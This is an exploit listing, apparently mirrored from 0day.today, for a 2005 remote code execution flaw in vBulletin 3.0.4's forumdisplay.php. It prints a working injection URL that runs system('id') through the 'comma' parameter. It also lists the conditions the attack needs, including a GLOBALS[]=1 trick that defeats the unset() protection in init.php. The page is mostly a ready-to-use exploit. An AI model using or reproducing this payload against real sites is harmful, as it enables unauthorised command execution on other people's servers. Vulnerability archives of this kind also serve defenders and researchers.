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vBulletin <= 3.0.4 "forumdisplay.php" Code Execution

🗓️ 14 Feb 2005 00:00:00Reported by AL3NDALEEBType 
zdt
 zdt
🔗 0day.today👁 401 Views

vBulletin allows code execution via forumdisplay.php under certain conditions on version 3.0.4.

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Code
====================================================
vBulletin <= 3.0.4 "forumdisplay.php" Code Execution
====================================================




Exploit:
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http://site/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."

Conditions:
----------------
1st condition     : $vboptions['showforumusers'] == True , the admin must set
		    showforumusers ON in vbulletin options.

2nd condition     : $bbuserinfo['userid'] == 0 , you must be an visitor/guest.

3rd condition     : $DB_site->fetch_array($forumusers) == True , when you
		    visit the forums, it  must has at least one user show the forum.

4th condition     : magic_quotes_gpc must be OFF

SPECIAL condition : you must bypass unset($GLOBALS["$_arrykey"]) code in
		    init.php by secret array GLOBALS[]=1 ;)))



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14 Feb 2005 00:00Current
7.1High risk
Vulners AI Score7.1
401
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